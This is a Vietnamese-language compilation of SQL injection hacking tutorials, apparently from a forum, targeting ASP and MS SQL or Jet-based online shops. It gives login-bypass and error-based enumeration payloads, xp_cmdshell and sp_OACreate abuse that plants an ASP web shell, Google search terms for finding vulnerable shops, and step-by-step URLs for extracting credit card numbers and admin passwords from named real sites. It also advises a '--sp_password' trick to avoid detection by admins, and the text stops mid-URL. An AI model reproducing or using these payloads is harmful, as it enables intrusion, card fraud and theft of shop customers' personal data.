Username: '; drop table users--

Password:

thì table 'user; sẽ bị xoá,và ta có thể vượt qua bằng cách sau:bypass các bạn biết hết rồi tôi không nói lại nữa
Ơ trường username hacker có thể vào như sau:

Username: ' union select 1, 'fictional_user', 'some_password', 1--

ví dụ table user được tạo như sau:

create table users( id int,

username varchar(255),

password varchar(255),
privs int

và insert vào:
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )

insert into users values( 0, 'guest', 'guest', 0x0000 )

insert into users values( 0, 'chris', 'password', 0x00ff )

insert into users values( 0, 'fred', 'sesame', 0x00ff )

Các hacker sẽ biết được kết quả các column và table qua câu truy vấn having 1=1

Username: ' having 1=1--

Lổi phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is

invalid in the select list because it is not contained in an aggregate

function and there is no GROUP BY clause.

/process_login.asp, line 35

Tiếp tục lấy các cái còn lại:

Username: ' group by users.id having 1=1--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'

is invalid in the select list because it is not contained in either an

aggregate function or the GROUP BY clause.

/process_login.asp, line 35
>> biết được column 'username'

' group by users.id, users.username, users.password, users.privs having 1=1--

Cho đến khi không còn báo lổi thì dừng lại

vậy là bạn đã biết table và column cần khai thác rồi,bây giờ đến đi lấy giá trị của nó:
Để xác định nội dung của column ta dùng hàm sum()

Username: ' union select sum(username) from users--

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average

aggregate operation cannot take a varchar data type as an argument.


/process_login.asp, line 35
Giá trị của username là varchar,không nói các bạn cũng biết lý do,còn dùng với id thì sao nhỉ:

Username: ' union select sum(id) from users--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL

statement containing a UNION operator must have an equal number of

expressions in their target lists.

/process_login.asp, line 35

Vậy là ta có thể insert vào csdl:

Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff)--

Lấy Version của server:

Username: ' union select @@version,1,1,1--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug

6 2000 00:57:48 Copyright © 1988-2000 Microsoft Corporation Enterprise

Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of

data type int.

/process_login.asp, line 35

có thể dùng convert() nhưng tôi chỉ các bạn dùng union ,các bạn thử đọc nội dung của các user trogn table như sau:

Username: ' union select min(username),1,1,1 from users where username > 'a'--
Chọn giá trị nhỏ nhất của username và cho nó lớn hơn 'a' > phát sinh lổi:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the varchar value 'admin' to a column of data type int.

/process_login.asp, line 35

Vậy là ta biết 'admin' acc tồn tại,tiếp tục xem sao:


Username: ' union select min(username),1,1,1 from users where username > 'admin'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the varchar value 'chris' to a column of data type int.

/process_login.asp, line 35

Vậy là khi có username > lấy pass:

Username: ' union select password,1,1,1 from users where username ='admin'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the varchar value 'r00tr0x!' to a column of data type int.

/process_login.asp, line 35

Đây là kỹ thuật mà bạn có thể lấy được user một cách cao cấp:

Tạo một script như sau:

begin declare @ret varchar(8000)

set @ret=':'

select @ret=@ret+' '+username+'/'+password from users where

username>@ret

select @ret as ret into foo

end

>cau truy vấn:

Username: '; begin declare @ret varchar(8000) set @ret=':' select

@ret=@ret+' '+username+'/'+password from users where username>@ret

select @ret as ret into foo end--

Tạo một table 'foo' với một column là 'ret'


Tiếp tục:

Username: ' union select ret,1,1,1 from foo--


Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the varchar value ': admin/r00tr0x! guest/guest chris/password

fred/sesame' to a column of data type int.

/process_login.asp, line 35

(Hình như mrro dùng kiểu này vào VDC)

Xoá dấu vết:

Username: '; drop table foo--

Một hacker khi điều kiển được csdl thì họ muốn xa hơn đó là điều khiển hệ thống mạng của server đó luôn,một trong
số cách đó:

1-Sữ dụng xp_cmdshell khi đã có quyền 'sa'

2-Sữ dụng xp_regread để đọc register,bao gồm SAM

3-Chạy link query trên server

4-Tạo script trên server để khai thác

5-Sữ dung 'bulk insert' để đọc bất cứ file nào trên hệ thống

6-Sữ dụng bcp để tạo quền cho text file trên server

7-Sữ dụng sp_OACreate, sp_OAMethod and sp_OAGetProperty để tạo script (ActiveX) chạy trên server

[xp_cmdshell]
Chắc các bạn cũng nghe nhiều rồi ví dụ:

exec master..xp_cmdshell 'dir'

exec master..xp_cmdshell 'net1 user'

Sữ dụng để thi hành các lệnh của dos vvv.. rất hưu hiệu

[xp_regread]

Các hàm liên quan...

xp_regaddmultistring

xp_regdeletekey

xp_regdeletevalue
xp_regenumkeys

xp_regenumvalues

xp_regread

xp_regremovemultistring

xp_regwrite

Ví dụ:

exec xp_regread HKEY_LOCAL_MACHINE,

'SYSTEM\CurrentControlSet\Services\lanmanserver\pa rameters','nullsessionshares'

Xác đinh null-session share có tồn tại trên server

exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Servi ces\snmp\parameters


\validcommunities'

v... còn nhiều thứ nữa

[Other Extended Stored Procedures]

services:

exec master..xp_servicecontrol 'start', 'schedule'

exec master..xp_servicecontrol 'start', 'server'

>ngó qua cũng biết nó làm gì...

[Importing text files into tables]

Sữ dụng 'bulk insert' để chèn text file vào thư mục hiện thời,tạo table đơn:

create table foo( line varchar(8000) )


tiếp tục:

bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'

[Creating Text Files using BCP]

VD:

bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

[ActiveX automation scripts in SQL Server]


Dùng 'wscript.shell'
vd:

declare @o int

exec sp_oacreate 'wscript.shell', @o out

exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

Tren câu truy vấn:

Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.
exe'--

Dùng 'scripting.filesystemobject' để đọc file:

declare @o int, @f int, @t int, @ret int

declare @line varchar(8000)

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1

exec @ret = sp_oamethod @f, 'readline', @line out

while( @ret = 0 )

begin

print @line

exec @ret = sp_oamethod @f, 'readline', @line out

end

Tạo script ASP để thi hành command:

declare @o int, @f int, @t int, @ret int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'createtextfile', @f out,

'c:\inetpub\wwwroot\foo.asp', 1

exec @ret = sp_oamethod @f, 'writeline', NULL,

'<% set o = server.createobject("wscript.shell"): o.run(

request.querystring("cmd") ) %>'

Đây là những cách bạn có thể dùng rất hiệu quả,bạn hãy sáng tạo thêm cho mình từ những chỉ dẫn cơ bản này.
HACK SHOP LẤY CREDITCARD BẰNG LỖI INJECTION SQL
CHI TIẾT NHẤT-CÓ SHOP THỰC HÀNH
- Tìm và xác định lỗi Injection SQL:
Đến nay vẫn chưa có một từ khoá nào giúp các bạn tìm ra shop sử dụng SQL, vì vậy cần xác định site shop dùng SQL
để hack, thường thì nên dùng từ khoá "shopping asp", "Product", "VP-ASP shopping"...
Sau khi tìm được shop dùng SQL, tại câu lệnh có đoạn cuối tương tự sau: store/viewProduct.asp?ec_products=6620 ta
kiểm tra lỗi bằng cách thêm dấu (‘) vào sau dấu (=),
ví dụ:http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620'
Nếu hiện thông báo lỗi (chú ý chỗ in đậm):
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ' ORDER
BY viewOrder ASC'.
/store/viewProduct.asp, line 114

Nghĩa là site này bị lỗi Injection SQL, ta có thể hack.

- Cấu trúc câu lệnh để hack: Url victim+câu lệnh

Ví dụ:http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1%
20table_name%20from%20information_schema.tables))--sp_password

- Đây là 3 câu lệnh cơ bản bạn cần dùng trong quá trình hack lỗi Injection SQL:

1/ Câu lấy table:


%20%2bconvert(int,(select%20top%201%20table_name%2 0from%20information_schema.tables))--sp_password
Dùng để lấy table tiếp theo:
%20%2bconvert(int,(select%20top%201%20table_name%2 0from%20information_schema.tables%20where%
20table_name%20not%20in('table_đã_có')))--sp_password

2/ Câu lấy column:


%20%2bconvert(int,(select%20top%201%20column_name% 20from%20information_schema.columns%20where%
20table_name%20='table_cần_lấy_column'))--sp_password
Dùng để lấy column tiếp theo:
%20%2bconvert(int,(select%20top%201%20column_name% 20from%20information_schema.columns%20where%
20table_name%20='table_cần_lấy_column'%20and%20column_name%20not%20in('co lumn_bạn_đã_có)))-
sp_password

3/ Câu khai thác dữ liệu:


%20%2bconvert(int,(select%20top%201tên_column%2B'/'%2btên_column%20from tên_table_muốn_khai_thác))--
sp_password

Để khai thác dữ liệu kế tiếp trên cùng một table bằng:where tên_column not in
%20%2bconvert(int,(select%20top%201têncolumn%2B'/'%2btêncolum%20from%20tên_table_khai_thác%20where%
20tên_colum_chứa_dữ_liệu_đã_có%20not%20in('dữ_liệu_đã_có_của_column_khai_báo_phía_trước)))--sp_password

Chú ý: Phải dùng -sp_password để admin không phát hiện được

Sau đây là ví dụ thực hành, site này có CC:


I/ Xem xét site sau: Các bạn có thể copy các đoạn link màu đỏ cho chạy trên IE để theo dõi kết quả hướng dẫn.
http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620'
Có lỗi Injection SQL

II/ Lấy table:

1/ Lấy table đầu tiên:


http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1%
20table_name%20from%20information_schema.tables))--sp_password

Kết quả:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'donations' to a
column of data type int.
/store/viewProduct.asp, line 114
'donations' là table đầu tiên

2/ Lấy table kế tiếp:http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%


20top%20 1%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in
('donations' )))--sp_password
Kết quả:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Editor' to a column of
data type int.
/store/viewProduct.asp, line 114
'Editor' là table thứ 2

3/ Table thứ 3:
http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1%
20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in
('donations' ,'Editor')))--sp_password
Kết quả:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'bills' to a column of
data type int.
/store/viewProduct.asp, line 114

Và các bạn làm tương tự để lấy hết table, đến khi không xuất hiện thêm table là hết.
Kết quả:
http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1%
20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in
('donations' ,'Editor','bills','bills_20040213','billsCandidate s','billsCandidates_20040213','billsCandidatesImpo
rt','candidates','candidates_20040213','candidates New','contribute','dtproperties','ec_categories','
ec_orders','ec_priceBreaks','ec_products','ec_regi on','ec_shippers','ec_shippingOrders','ec_supplier
s','ec_territory','Editor_letters','Editor_queue', 'Editor_recipients','emailUpdates','MinnesotaHouse
RollCallVotes','MinnesotaSenateRollCallVotes','off ices','parties','party','Postcards','PostcardsBlac
klist','ppmsd','sbEntries','siteSection','storetem p','stories','storyCategories','subjects','syscons
traints','syssegments','tblConstitutionalOfficerSl ate','tblConstitutionalOfficerSlate$','tblStateLeg
2002_Query','users','users_choice','vw_contribute_ pending','vw_contribute_processed')))--sp_password

II/ Lấy column:


Chú ý các table chứa dữ liệu quan trọng liên quan đến CC và pass admin thường có tên: orders, user, tbloders, tbluser...
1/ Khai thác column đầu tiên trong table 'ec_orders':
http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1%
20column_name%20from%20information_schema.columns%20where%20table_name%20='ec_orders'))--
sp_password
Kết quả:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'firstname' to a
column of data type int.
/store/viewProduct.asp, line 114
'firstname' là column đầu tiên trong table 'ec_orders'

2/ Lấy column tiếp theo:


http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1%
20column_name%20from%20information_schema.columns%20where%20table_name%20='ec_orders'%20and%
20column_name%20not%20in('firstname')))--sp_password
Kết quả:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'lastname' to a column
of data type int.
/store/viewProduct.asp, line 114

3/ Làm tương tự để khai thác hết column của table này:


Kết quả:
http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1%
20column_name%20from%20information_schema.columns%20where%20table_name%20='ec_orders'%20and%
20column_name%20not%20in
('firstname','lastname','email','orgName','address','city','state','zip','tele_areacode','tele_first','tele_last','credit_card','card
_number','ExpDate_month','ExpDa
te_year','timestamp','shippedDate','orderNumber','shipped','billing_firstname','billing_lastname'lastname',
'billing_email','billing_orgName','billing_address ','billing_city','billing_state','billing_zip','bi
lling_tele_areacode','billing_tele_first','billing
_tele_last','nameOnCard','survey_nameOfPerson','survey_materials','survey_
emailAddress','survey_findMethod','survey_interest ed','po_number')))--sp_password
III/ Khai thác CC:
Các bạn chú ý các column quan trọng trong table 'ec_orders' đã được in đậm:

1/ Khai thác 'credit_card','card_number' trong 'ec_orders' :


http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1%
20credit_card%2b'/'%2bcard_number%20from%20ec_orders))--sp_password
Các bạn dùng link trên để xem kết quả (vì nội quy của From nên không đưa kết quả ra)
Tương tự, lấy kết quả kế tiếp:
http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1%
20credit_card%2b'/'%2bcard_number%20from%20ec_orders%20where%20card_ number%20not%20in
('card_number-bạn_đã_có_ở_trên')))--sp_password
Số column truy vấn tùy thuộc vào ý thích của mỗi bạn. Dùng %2b'/'%2b nghĩa là hiển thị kết quả có phân cách bằng
dấu (/) để dễ nhận biết.
Các bạn lưu ý: số column truy vấn càng nhiều thì khả năng truy xuất dữ liệu càng thấp vì câu lệnh không hiểu những
khoảng trống không có dữ liệu. Tốt nhất là thử với 1 column kiểm tra kết quả, sau đó thêm column kế tiếp vào câu
lệnh truy xuất.
Câu lệnh truy xuất hoàn chỉnh trong table ec_orders của site này (các bạn dùng link này để xem kết qu&#7843 :
http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1%
20firstname%2b'/'%2blastname%2b'/'%2bemail%2b'/'%2borgName%2b'/'%2baddress%2b'/'%2bcredit_card%2b'/'%
2bcard_number%2b'/'%2bExpDate_month%2b'/'%2bExpDate_year%2b'/'%2bnameOnCard%2b'/'%2bcity%2b'/'%
2bstate%2b'/'%2bzip%20from%20ec_orders))--sp_password

Tương tự bạn có thể làm với các table khác để lấy dữ liệu của admin, customer...

IV/ Một số kinh nghiệm trong quá trình hack shop bằng lỗi Injection SQL:

- Sau khi phát hiện site lỗi Injecton SQL, bạn nên mua thử một món hàng nào đấy trên site này để kiểm tra các thông
tin sau: có cho phép dùng CC mua không, CC có cvv2, thanh toán online trên site bị lỗi hay trên một site khác,
customer đăng nhập mua hàng có dùng password không...tất cả những thông tin liên quan đến việc mua bán để xác
định có nên hack site này không.

- Nên khai thác đầu tiên là creditcard_number , nếu không có, có khả năng site đã fix dữ liệu hoặc dùng một site khác
để thanh toán.

- Khi lấy được user/pass của admin cần dùng nó để đăng nhập server với giao thức ftp, ví dụ:ftp://ppmsddev.ctsg.com/,
nếu maymắn bạn có thể làm chủ server và không cần phải phí công nhiều trong khi hack.

- Thường các site này hay dấu link để đăng nhập quyền admin, bạn cần chịu khó tìm, và dùng chương trình scan Url
của trang này để tìm trang đăng nhập.

- Có một số trường hợp, site bị lỗi Injectjon nhưng hiện trang báo lỗi: The page cannot be
displayed, bạn cần chú ý phía bên dưới để phát hiện thông báo lỗi của Injection SQL, ví dụ:
The page cannot be displayed
There is a problem with the page you are trying to reach and it cannot be displayed.
...................
HTTP 500.100 - Internal Server Error - ASP error
Internet Information Services
Technical Information (for support personnel)
Error Type:
Provider ('80040e14')
Type mismatch.
/shopping/shop$db.asp, line 875
Browser Type:
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Page:
GET /shopping/shopdisplayproducts.asp
Time:
Friday, February 27, 2004, 11:20:19 PM
More information:
Microsoft Supporthttp://www.microsoft.com/ContentRedirect.asp?
prd=iis&sbp=&pver=5.0&ID=500;100&cat=Provider&os=&over=&hrd=&Opt1=&Opt2=%
2D2147352571&Opt3=Type+mismatch%2E
TUTORIAL NAØY KHOÂNG BIEÁT TAÙC GIAÛ
Thực ra thì cái lỗi này có từ lâu rồi , nhưng các bạn biết tại sao mà nó còn nhiều không , rất nhiều , rất nhiều . Bỡi vì
đơn giản là " nhác " . Jet database có nhiều cách , nhưng làm theo cách này newbie dễ hiễu và cũng không cần làm gì
ngoài việc thêm dòng lệnh sau url bị lỗi cả .Bắt đầu
1. Vào google search từ khoá :proddetail.asp?prod=* < * ỡ đây các bạn có thễ thay thế = bất cứ số nào 1, 2,3 ... hay
100 , 200 , tuỳ >
2. Thêm dấu ' đễ tìm site có lỗi
3. Nhận biết site có lỗi = dòng sau
CODE
Microsoft JET Database Engine error '80040e14'

The number of columns in the two selected tables or queries of a union query do not match.

/Retail/vsadmin/inc/incproddetail.asp, line 33
4. Ví dụ cụ thễ , tôi check thữ sitehttp://www.kleer-fax.com/proddetail.asp?prod=23305
Thêm dấu ' vào sau 23305 ok ??
Lỗi hiện ra
CODE
Microsoft JET Database Engine error '80040e14'
Syntax error in string in query _expression 'pId='23305'''.
/proddetail.asp, line 246
Bắt đầu khai thác nhé các bạn , tìm table và collumn của nó = lệnh truy vấn sau :

QUOTE
%27union%20select%201%20from%20admin

Sau khi thêm câu lệnh vào link ta được :http://www.kleer-fax.com/proddetail.asp?prod=23305%27union%20select%


201%20from%20admin
Ta được

QUOTE
Microsoft JET Database Engine error '80040e14'
The number of columns in the two selected tables or queries of a union
query do not match.
/proddetail.asp, line 246
Á , sai rùi , đùa đấy , lỗi vừa rồi nói rằng : có tồn tại giá trị collumn chứa thông tin admin á , check tiếp
Thêm ,2 vào sau select%201 .

CODE
http://www.kleer-fax.com/proddetail.asp?prod=23305%27%20union%20select% 201,2%20from%20admin
A nó cũng báo y như trên
CODE
Microsoft JET Database Engine error '80040e14'
The number of columns in the two selected tables or queries of a union
query do not match.
/proddetail.asp, line 246
Khi vẫn chưa tìm ra được cái minh cần thì các bạn cứ thêm lần lượt ,3,4,5,6,7,8 vào tiếp cho đến khi :
QUOTE
Home : All Products

4-5-6

Item: 3 List Price: $9.00 USD


7

201
Hehe đây chính là cái ta cần tìm . Và dãy số ta cần thêm vào ỡ trên kết thúc đến số 14 < May mà mới đến số 14 , ko
nãn >
Chú ý số 7 và 201 nhé , đó là thông tin củ a 2 columb chứ a thông tin Admin ( user/ pass)
Ta thay câu lệnh truy vấ n user và pass admin và o vi trí
̣ 201 và 7
Mệt quá , :( đến tận số 201 , ai muốn học tập thì đánh đến số 201 nha :D
Đễ tiện các bạn test mình giả sữ số 201 là số 1 thì câu truy vấn sẽ là
CODE
http://www.kleer-fax.com/proddetail.asp?prod=23305%27and%201=0%20union% 20select%201%2c2%2c%
27username:%20%27%2badminuser%2c4%2c5%2c6%2c%27password:%20%27%2badminpassword%2c8%2c9%
2c10%2c11%2c12%2c13%2c14%20from%20admin

Đó , các bạn đánh đến số 200 rùi đến 201 thì thay = adminpassword :D . Lúc đó sẽ hiện ra những dòng sau
QUOTE
Please choose from the list below.

Change username / password:


Edit admin settings:
Edit categories:
Edit products:
Logout:

Chú ý : Khi union đươ ̣c mà ko bá o lỗi thì mớ i dù ng and 1=0
TUTORIAL FROM HCV
---- Đây là phương pháp hack lỗi SQL nâng cao đối với các shop VP-ASP. Được sự giúp đỡ của 1 admin trong HCV
hiện tại Quoc xin được chia sẻ với các bạn

**********************************************
Vuln: SQL Inject in VP-ASP all of version
Exploiter: Unknown
Tool: Mozilla Firefox Download
**********************************************
Đầu tiên, bạn phải tìm ra shop của victim
Công cụ:http://google.com/
Keyword: shopdisplayproducts.asp?
shopaddtocart.asp?
shopexd.asp
Các bạn tự tìm thêm key cho mình nhé.

Ví dụ ở đây tui chọn shop


CODE
https://www.sfp.net/shopaddtocart.asp?catalogid=1

Sau đó chúng ta thêm dấu ' vao phía sau link thành như sau
CODE
https://www.sfp.net/shopaddtocart.asp?catalogid=1'

Ok, chúng ta bắt đầu tìm link admin nhé

---- Tìm chữ đầu tiên trong link admin, các bạn thêm dòng lệnh này vao phía sau link trên nhé
CODE
https://www.sfp.net/shopaddtocart.asp?catalogid=1%20or%201=(select%20fieldname%20from%20configuration%
20where%20left(fieldname,10)='xadminpage'%20and%20left(fieldvalue,1)='s')

Chúng ta sẽ thay dần giá trị 's' sao cho ứng với kí tự đầu tiên của link
Ở đây tui tìm được là kí tự 'a'

---- Sau đó tìm tiếp chiều dài của link admin (thường thì tu gia trị thứ 5 trở đi vì link admin sẽ có thêm .asp ví du
admin.asp <--- có 9 kí tự)

CODE
https://www.sfp.net/shopaddtocart.asp?catalogid=1%20or%201=(select%20fieldname%20from%20configuration%
20where%20left(fieldname,10)='xadminpage'%20and%20left(fieldvalue,1)='a' and len(fieldvalue)=5)

Thay tiếp giá trị 5 thành các giá trị số cho đến khi tìm được đúng chiều dài của link admin.
Ở đây mình tìm được là 15 ki tự

---- Tiếp theo tìm các kí tự còn lại trong link admin nhé.
CODE
https://www.sfp.net/shopaddtocart.asp?catalogid=1%20or%201=(select%20fieldname%20from%20configuration%
20where%20left(fieldname,10)='xadminpage'%20and%20left(fieldvalue,2)='ad')
Thay đổi dần giá trị trong lệnh left ứng với vị trí kí tự của link admin.

Sau khi tìm được link admin, chúng ta sẽ được adminonline.asp

---- Tiếp theo tìm username


Các bạn thêm câu truy vấn này phía sau link nhé
CODE
%20or%201=(select%20fldusername%20from%20tbluser%20where%20left(fldusername,1)='q')

Khi đó câu truy vấn sẽ là


CODE
https://www.sfp.net/shopaddtocart.asp?catalogid=1%20or%201=(select%20fldusername%20from%20tbluser%
20where%20left(fldusername,1)='s')

Ở đây kí tự đầu tiên là 's'

---- Tiếp theo tìm chiều dài của username


CODE
https://www.sfp.net/shopaddtocart.asp?catalogid=1%20or%201=(select%20fldusername%20from%20tbluser%
20where%20left(fldusername,1)='s' and len(fldusername)=3)

Chúng ta sẽ tìm được username là "sfp"


---- Tìm password

Cũng tương tự như trên chỉ cần thay fldusername bằng fldpassword

Các bạn thêm câu truy vấn này phía sau link nhé
CODE
%20or%201=(select%20fldpassword%20from%20tbluser%20where%fldusername='sfp' and left(fldpassword,1)='p')

Tìm password tương ứng với username là "sfp". Chữ đầu tiên là 'p'

Khi đó câu truy vấn sẽ là


CODE
https://www.sfp.net/shopaddtocart.asp?catalogid=1%20or%201=(select%20fldpassword%20from%20tbluser%
20where%fldusername='sfp' and left(fldpassword,1)='p')

Ở đây kí tự đầu tiên là 'p'

---- Tiếp theo tìm chiều dài của password


CODE
https://www.sfp.net/shopaddtocart.asp?catalogid=1%20or%201=(select%20fldpassword%20from%20tbluser%
20where%fldusername='sfp' and left(fldpassword,1)='p' and len(fldpassword)=11)
Sau khi tìm được chúng ta sẽ co pass là 'performance'

*************************************************************

Cuối cùng sau khi hoàn tất chúng ta sẽ có link admin là


http://www.sfp.net/adminonline.asp

user: sfp
pass: performance
TUTORIAL BY CONGLAPHVA
-Vào www.google.com.vn đánh vào

-allinurl:'/product.asp/'

-allinurl:'/product.asp?productid/'

-allinurl:'/logint.asp'

-Bây giờ ta bắt đầu công việc,tôi chọn 1 site để hackhttp://www.victim.com/store/category.asp?CategoryID=83

-Kiểm tra lỗi:http://www.victim.com/store/category.asp?CategoryID=83' ( ta chỉ cần đánh vào dấu ' để test lỗi )

-Kết quả:

Provider for SQL Server error '80040e14'

Unclosed quotation mark before the character string ''.

/store/includes/common.asp, line 2116

1. Thu thập cấu trúc dữ liệu :

Lấy Table đầu tiên

http://www.victim.com/store/category.asp?CategoryID=83%20and%201=convert(int,(select%20top%201%
20table_name%20from%20information_schema.tables))--sp_password
Kết quả:

Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'StateTaxes' to a column of data type int.

/store/includes/common.asp, line 2116

Như vậy ta có table đầu tiên là StateTaxes. Lấy tiếp table thứ hai :

http://www.victim.com/store/category.asp?CategoryID=82%20and%201=convert(int,(select%20top%201%
20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20('StateTaxes')))--
sp_password
Kết quả:

Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'BillingAddresses' to a column of data type int.

/store/includes/common.asp, line 2116

Như vậy table thứ hai là BillingAddresses

Lấy tiếp table thứ ba

http://www.victim.com/store/category.asp?CategoryID=82%20and%201=convert(int,(select%20top%201%
20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20
('StateTaxes','BillingAddresses')))--sp_password

Kết quả:

Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'Categories' to a column of data type int.

/store/includes/common.asp, line 2116

các bạn cứ lấy kết quả của table thứ 3 (chữ màu xanh) thay thế vào sau table 3 là lấy được toàn bộ table của site này

VD:

http://www.victim.com/store/category.asp?CategoryID=82%20and%201=convert(int,(select%20top%201%
20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20
('StateTaxes','BillingAddresses','Categories')))--sp_password

-Còn đây là toàn bộ table của site này


http://www.victim.com/store/category.asp?CategoryID=83%20and%201=convert(int,(select%20top%201%
20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20
('StateTaxes','BillingAddresses','Categories','Countries','CreditCards','Discounts','dtproperties','Groups','homeblurb','Ite
mGroups','Items','Manufacturers','Members','OrderItems','OrderItemsShipped','Orders','SavedCart','SavedCartItems','Se
cure','SessionData','Settings','SettingsFreeShippingCountries'.'ShippingAddresses')))--sp_password

CC thường chứa trong các table Orders hay creditcard, ở đây tôi chọn Orders để hack. Lấy Column đầu tiên

http://www.victim.com/store/category.asp?CategoryID=83%20and%201=convert(int,(select%20top%201%
20column_name%20from%20information_schema.columns%20where%20table_name=('Orders')))--sp_password

Kết quả:

Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'OrderID' to a column of data type int.
/store/includes/common.asp, line 2116
Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'DateCreated' to a column of data type int.

/store/includes/common.asp, line 2116

Ta lần lượt lấy hết coloum của table này, có kết quả như sau:

http://www.victim.com/store/category.asp?CategoryID=83%20and%201=convert(int,(select%20top%201%
20column_name%20from%20information_schema.columns%20where%20table_name=('Orders')%20and%
20column_name%20not%20in%20
('OrderID','DateCreated','MemberID','ShippingMethod','Company','FirstName','LastName','Address1','Address2','City','
State','Zip','ForeignAddress','Country','Phone','Fax','Email','CardName','CardType','CardNumber','ExpirationDate','Car
dAddress','CardZip','ShippingAddress1','SubTotal','Discount','DiscountDescription','Tax','Shipping','OrderTotal','PONu
mber','ResaleNumber','Handling','Comments','Referer','StoreName','ShippingCompany','ShippingFirstName','Shipping
LastName','ShippingAddress2','ShippingCity','ShippingState','ShippingZip','ShippingForeignAddress','ShippingCountr
y','ShippingPhone','ShippingFax','CardVerification','CardVerificationNone','CardVerificationRead','PhoneOrder','FRE
EShippingMethod')))--sp_password

Ta lấy thông tin của coloum này

Các coloum quan trọng thường là First/Last name/Address1/city/state/zip/Country/phone/fax/email/cardname/


cardtype/Cardnumber/ExpirationDate/CNV2 (tuy nhiên site này o có cnv2) ->nhiêu đó chắc cũng đủ rồi nhỉ?

Theo đường link này sẽ có cc

http://www.victim.com/store/category.asp?CategoryID=82%20and%201=convert(int,(select%20top%201%
20CardName%2b'/'%2bAddress1%2b'/'%2bCity%2b'/'%2bState%2b'/'%2bZip%2b'/'%2bPhone%2b'/'%2bCountry%
2b'/'%2bCardNumber%2b'/'%2bExpirationDate%20from%20Orders))--sp_password

các bạn cần thông tin gì thì cứ chèn /'%2b******%2b'/ vào

tìm được cc đầu tiên,các bạn dùng link này để lấy cc thứ 2 và tiếp tục

http://www.victim.com/store/category.asp?CategoryID=82%20and%201=(select%20top%201%20CardName%2b%
27/%27%2bAddress1%2b%27/%27%2bCity%2b%27/%27%2bState%2b%27/%27%2bZip%2b%27/%27%2bPhone%
2b%27/%27%2bCountry%2b%27/%27%2bCardNumber%2b%27/%27%2bExpirationDate%20from%20Orders%
